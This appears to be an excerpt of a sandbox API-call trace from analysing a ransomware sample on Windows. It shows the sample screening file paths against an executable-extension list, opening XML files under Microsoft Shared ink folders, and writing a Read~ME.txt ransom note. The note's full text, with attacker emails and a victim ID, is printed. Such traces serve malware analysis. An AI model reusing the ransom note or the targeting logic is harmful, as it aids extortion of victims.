	[0078.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".scr") returned 0x0
	[0078.461] lstrlenW (lpString=".cmd") returned 4
	[0078.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".cmd") returned 0x0
	[0078.461] lstrlenW (lpString=".dll") returned 4
	[0078.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".dll") returned 0x0
	[0078.461] lstrlenW (lpString=".bat") returned 4
	[0078.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".bat") returned 0x0
	[0078.461] lstrlenW (lpString=".cpl") returned 4
	[0078.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".cpl") returned 0x0
	[0078.461] lstrlenW (lpString=".sys") returned 4
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".sys") returned 0x0
	[0078.462] lstrlenW (lpString=".msc") returned 4
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".msc") returned 0x0
	[0078.462] lstrlenW (lpString=".com") returned 4
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".com") returned 0x0
	[0078.462] lstrlenW (lpString=".lnk") returned 4
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".lnk") returned 0x0
	[0078.462] lstrlenW (lpString=".msp") returned 4
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".msp") returned 0x0
	[0078.462] lstrlenW (lpString=".pif") returned 4
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch=".pif") returned 0x0
	[0078.462] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0078.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.462] RtlWakeConditionVariable () returned 0x365f70
	[0078.462] GetCurrentThreadId () returned 0x3a4
	[0078.462] GetCurrentThreadId () returned 0x3a4
	[0078.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5780 | out: hHeap=0x300000) returned 1
	[0078.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd60 | out: hHeap=0x300000) returned 1
	[0078.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5780
	[0078.463] lstrlenW (lpString=".scr") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".scr") returned 0x0
	[0078.463] lstrlenW (lpString=".cmd") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".cmd") returned 0x0
	[0078.463] lstrlenW (lpString=".dll") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".dll") returned 0x0
	[0078.463] lstrlenW (lpString=".bat") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".bat") returned 0x0
	[0078.463] lstrlenW (lpString=".cpl") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".cpl") returned 0x0
	[0078.463] lstrlenW (lpString=".sys") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".sys") returned 0x0
	[0078.463] lstrlenW (lpString=".msc") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".msc") returned 0x0
	[0078.463] lstrlenW (lpString=".com") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".com") returned 0x0
	[0078.463] lstrlenW (lpString=".lnk") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".lnk") returned 0x0
	[0078.463] lstrlenW (lpString=".msp") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".msp") returned 0x0
	[0078.463] lstrlenW (lpString=".pif") returned 4
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch=".pif") returned 0x0
	[0078.463] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5780 | out: hHeap=0x300000) returned 1
	[0078.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.464] RtlWakeConditionVariable () returned 0x365f70
	[0078.464] GetCurrentThreadId () returned 0x3a4
	[0078.464] GetCurrentThreadId () returned 0x3a4
	[0078.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0078.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd98 | out: hHeap=0x300000) returned 1
	[0078.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0078.465] lstrlenW (lpString=".scr") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".scr") returned 0x0
	[0078.465] lstrlenW (lpString=".cmd") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".cmd") returned 0x0
	[0078.465] lstrlenW (lpString=".dll") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".dll") returned 0x0
	[0078.465] lstrlenW (lpString=".bat") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".bat") returned 0x0
	[0078.465] lstrlenW (lpString=".cpl") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".cpl") returned 0x0
	[0078.465] lstrlenW (lpString=".sys") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".sys") returned 0x0
	[0078.465] lstrlenW (lpString=".msc") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".msc") returned 0x0
	[0078.465] lstrlenW (lpString=".com") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".com") returned 0x0
	[0078.465] lstrlenW (lpString=".lnk") returned 4
	[0078.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".lnk") returned 0x0
	[0078.465] lstrlenW (lpString=".msp") returned 4
	[0078.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".msp") returned 0x0
	[0078.466] lstrlenW (lpString=".pif") returned 4
	[0078.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch=".pif") returned 0x0
	[0078.466] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0078.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.466] RtlWakeConditionVariable () returned 0x365f70
	[0078.466] GetCurrentThreadId () returned 0x3a4
	[0078.466] GetCurrentThreadId () returned 0x3a4
	[0078.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0078.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa5f0 | out: hHeap=0x300000) returned 1
	[0078.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cdd0 | out: hHeap=0x300000) returned 1
	[0078.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0078.466] lstrlenW (lpString=".scr") returned 4
	[0078.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".scr") returned 0x0
	[0078.466] lstrlenW (lpString=".cmd") returned 4
	[0078.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".cmd") returned 0x0
	[0078.467] lstrlenW (lpString=".dll") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".dll") returned 0x0
	[0078.467] lstrlenW (lpString=".bat") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".bat") returned 0x0
	[0078.467] lstrlenW (lpString=".cpl") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".cpl") returned 0x0
	[0078.467] lstrlenW (lpString=".sys") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".sys") returned 0x0
	[0078.467] lstrlenW (lpString=".msc") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".msc") returned 0x0
	[0078.467] lstrlenW (lpString=".com") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".com") returned 0x0
	[0078.467] lstrlenW (lpString=".lnk") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".lnk") returned 0x0
	[0078.467] lstrlenW (lpString=".msp") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".msp") returned 0x0
	[0078.467] lstrlenW (lpString=".pif") returned 4
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch=".pif") returned 0x0
	[0078.467] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4120 | out: hHeap=0x300000) returned 1
	[0078.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3a18 | out: hHeap=0x300000) returned 1
	[0078.468] RtlWakeConditionVariable () returned 0x365f70
	[0078.468] GetCurrentThreadId () returned 0x3a4
	[0078.468] GetCurrentThreadId () returned 0x3a4
	[0078.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0078.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce08 | out: hHeap=0x300000) returned 1
	[0078.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0078.469] lstrlenW (lpString=".scr") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".scr") returned 0x0
	[0078.469] lstrlenW (lpString=".cmd") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".cmd") returned 0x0
	[0078.469] lstrlenW (lpString=".dll") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".dll") returned 0x0
	[0078.469] lstrlenW (lpString=".bat") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".bat") returned 0x0
	[0078.469] lstrlenW (lpString=".cpl") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".cpl") returned 0x0
	[0078.469] lstrlenW (lpString=".sys") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".sys") returned 0x0
	[0078.469] lstrlenW (lpString=".msc") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".msc") returned 0x0
	[0078.469] lstrlenW (lpString=".com") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".com") returned 0x0
	[0078.469] lstrlenW (lpString=".lnk") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".lnk") returned 0x0
	[0078.469] lstrlenW (lpString=".msp") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".msp") returned 0x0
	[0078.469] lstrlenW (lpString=".pif") returned 4
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch=".pif") returned 0x0
	[0078.469] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.469] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0078.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.470] RtlWakeConditionVariable () returned 0x365f70
	[0078.470] GetCurrentThreadId () returned 0x3a4
	[0078.470] GetCurrentThreadId () returned 0x3a4
	[0078.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0078.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e658 | out: hHeap=0x300000) returned 1
	[0078.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce40 | out: hHeap=0x300000) returned 1
	[0078.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0078.470] lstrlenW (lpString=".scr") returned 4
	[0078.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".scr") returned 0x0
	[0078.470] lstrlenW (lpString=".cmd") returned 4
	[0078.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".cmd") returned 0x0
	[0078.470] lstrlenW (lpString=".dll") returned 4
	[0078.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".dll") returned 0x0
	[0078.470] lstrlenW (lpString=".bat") returned 4
	[0078.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".bat") returned 0x0
	[0078.470] lstrlenW (lpString=".cpl") returned 4
	[0078.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".cpl") returned 0x0
	[0078.470] lstrlenW (lpString=".sys") returned 4
	[0078.470] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".sys") returned 0x0
	[0078.471] lstrlenW (lpString=".msc") returned 4
	[0078.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".msc") returned 0x0
	[0078.471] lstrlenW (lpString=".com") returned 4
	[0078.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".com") returned 0x0
	[0078.471] lstrlenW (lpString=".lnk") returned 4
	[0078.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".lnk") returned 0x0
	[0078.471] lstrlenW (lpString=".msp") returned 4
	[0078.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".msp") returned 0x0
	[0078.471] lstrlenW (lpString=".pif") returned 4
	[0078.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch=".pif") returned 0x0
	[0078.471] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4120 | out: hHeap=0x300000) returned 1
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3a18 | out: hHeap=0x300000) returned 1
	[0078.473] RtlWakeConditionVariable () returned 0x365f70
	[0078.473] GetCurrentThreadId () returned 0x3a4
	[0078.473] GetCurrentThreadId () returned 0x3a4
	[0078.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f59a8 | out: hHeap=0x300000) returned 1
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce78 | out: hHeap=0x300000) returned 1
	[0078.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.488] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.489] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.491] CloseHandle (hObject=0x120) returned 1
	[0078.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f59a8 | out: hHeap=0x300000) returned 1
	[0078.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.491] RtlWakeConditionVariable () returned 0x365f70
	[0078.491] GetCurrentThreadId () returned 0x3a4
	[0078.491] GetCurrentThreadId () returned 0x3a4
	[0078.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0078.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faa88 | out: hHeap=0x300000) returned 1
	[0078.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf90 | out: hHeap=0x300000) returned 1
	[0078.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4378
	[0078.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.500] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.500] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.501] CloseHandle (hObject=0x120) returned 1
	[0078.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4378 | out: hHeap=0x300000) returned 1
	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0078.502] RtlWakeConditionVariable () returned 0x365f70
	[0078.502] GetCurrentThreadId () returned 0x3a4
	[0078.502] GetCurrentThreadId () returned 0x3a4
	[0078.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fab50 | out: hHeap=0x300000) returned 1
